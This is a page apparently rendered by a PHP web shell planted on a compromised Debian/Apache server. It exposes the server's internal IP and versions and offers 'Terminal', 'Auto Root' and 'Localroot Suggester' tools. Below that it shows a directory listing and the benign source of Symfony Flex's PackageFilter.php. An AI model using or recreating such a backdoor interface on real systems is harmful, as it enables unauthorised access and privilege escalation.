Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
flex /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Command
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Configurator
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Event
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Unpack
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Update
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
Configurator.php
4.25
KB
-rwxrwxr-x
2025-11-16 09:38
Downloader.php
18.14
KB
-rwxrwxr-x
2025-11-16 09:38
Flex.php
33.68
KB
-rwxrwxr-x
2025-11-16 09:38
GithubApi.php
5.89
KB
-rwxrwxr-x
2025-11-16 09:38
InformationOperation.php
1.81
KB
-rwxrwxr-x
2025-11-16 09:38
Lock.php
1.83
KB
-rwxrwxr-x
2025-11-16 09:38
Options.php
4.2
KB
-rwxrwxr-x
2025-11-16 09:38
PackageFilter.php
5.71
KB
-rwxrwxr-x
2025-11-16 09:38
PackageJsonSynchronizer.php
15.59
KB
-rwxrwxr-x
2025-11-16 09:38
PackageResolver.php
5.79
KB
-rwxrwxr-x
2025-11-16 09:38
Path.php
966
B
-rwxrwxr-x
2025-11-16 09:38
Recipe.php
2.91
KB
-rwxrwxr-x
2025-11-16 09:38
Response.php
1.95
KB
-rwxrwxr-x
2025-11-16 09:38
ScriptExecutor.php
4.9
KB
-rwxrwxr-x
2025-11-16 09:38
SymfonyBundle.php
3.66
KB
-rwxrwxr-x
2025-11-16 09:38
SymfonyPackInstaller.php
478
B
-rwxrwxr-x
2025-11-16 09:38
Unpacker.php
8.55
KB
-rwxrwxr-x
2025-11-16 09:38
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Flex; use Composer\IO\IOInterface; use Composer\Package\AliasPackage; use Composer\Package\PackageInterface; use Composer\Package\RootPackageInterface; use Composer\Semver\Constraint\Constraint; use Composer\Semver\Intervals; use Composer\Semver\VersionParser; /** * @author Nicolas Grekas <p@tchwork.com> */ class PackageFilter { private $versions; private $versionParser; private $symfonyRequire; private $symfonyConstraints; private $downloader; private $io; private $ignorePreleases; public function __construct(IOInterface $io, string $symfonyRequire, Downloader $downloader, bool $ignorePreleases = false) { $this->versionParser = new VersionParser(); $this->symfonyRequire = $symfonyRequire; $this->symfonyConstraints = '' !== $symfonyRequire ? $this->versionParser->parseConstraints($symfonyRequire) : null; $this->downloader = $downloader; $this->io = $io; $this->ignorePreleases = $ignorePreleases; } /** * @param PackageInterface[] $data * @param PackageInterface[] $lockedPackages * * @return PackageInterface[] */ public function removeLegacyPackages(array $data, RootPackageInterface $rootPackage, array $lockedPackages): array { if ($this->ignorePreleases) { $filteredPackages = []; foreach ($data as $package) { if (\in_array($package->getStability(), ['stable', 'dev'], true)) { $filteredPackages[] = $package; } } $data = $filteredPackages; } if (!$this->symfonyConstraints || !$data) { return $data; } $lockedVersions = []; foreach ($lockedPackages as $package) { $lockedVersions[$package->getName()] = [$package->getVersion()]; if ($package instanceof AliasPackage) { $lockedVersions[$package->getName()][] = $package->getAliasOf()->getVersion(); } } $rootConstraints = []; foreach ($rootPackage->getRequires() + $rootPackage->getDevRequires() as $name => $link) { $rootConstraints[$name] = $link->getConstraint(); } $knownVersions = null; $filteredPackages = []; $symfonyPackages = []; $oneSymfony = false; foreach ($data as $package) { $name = $package->getName(); $versions = [$package->getVersion()]; if ($package instanceof AliasPackage) { $versions[] = $package->getAliasOf()->getVersion(); } if ('symfony/symfony' !== $name && ( array_intersect($versions, $lockedVersions[$name] ?? []) || (($knownVersions ??= $this->getVersions()) && !isset($knownVersions['splits'][$name])) || (isset($rootConstraints[$name]) && !Intervals::haveIntersections($this->symfonyConstraints, $rootConstraints[$name])) || ('symfony/psr-http-message-bridge' === $name && 6.4 > $versions[0]) )) { $filteredPackages[] = $package; continue; } if (null !== $alias = $package->getExtra()['branch-alias'][$package->getVersion()] ?? null) { $versions[] = $this->versionParser->normalize($alias); } foreach ($versions as $version) { if ($this->symfonyConstraints->matches(new Constraint('==', $version))) { $filteredPackages[] = $package; $oneSymfony = $oneSymfony || 'symfony/symfony' === $name; continue 2; } } if ('symfony/symfony' === $name) { $symfonyPackages[] = $package; } elseif (null !== $this->io) { $this->io->writeError(\sprintf('<info>Restricting packages listed in "symfony/symfony" to "%s"</>', $this->symfonyRequire)); $this->io = null; } } if ($symfonyPackages && !$oneSymfony) { $filteredPackages = array_merge($filteredPackages, $symfonyPackages); } return $filteredPackages; } private function getVersions(): array { if (null !== $this->versions) { return $this->versions; } $versions = $this->downloader->getVersions(); $this->downloader = null; $okVersions = []; if (!isset($versions['splits'])) { throw new \LogicException('The Flex index is missing a "splits" entry. Did you forget to add "flex://defaults" in the "extra.symfony.endpoint" array of your composer.json?'); } foreach ($versions['splits'] as $name => $vers) { foreach ($vers as $i => $v) { if (!isset($okVersions[$v])) { $okVersions[$v] = false; $w = '.x' === substr($v, -2) ? $versions['next'] : $v; for ($j = 0; $j < 60; ++$j) { if ($this->symfonyConstraints->matches(new Constraint('==', $w.'.'.$j.'.0'))) { $okVersions[$v] = true; break; } } } if (!$okVersions[$v]) { unset($vers[$i]); } } if (!$vers || $vers === $versions['splits'][$name]) { unset($versions['splits'][$name]); } } return $this->versions = $versions; } }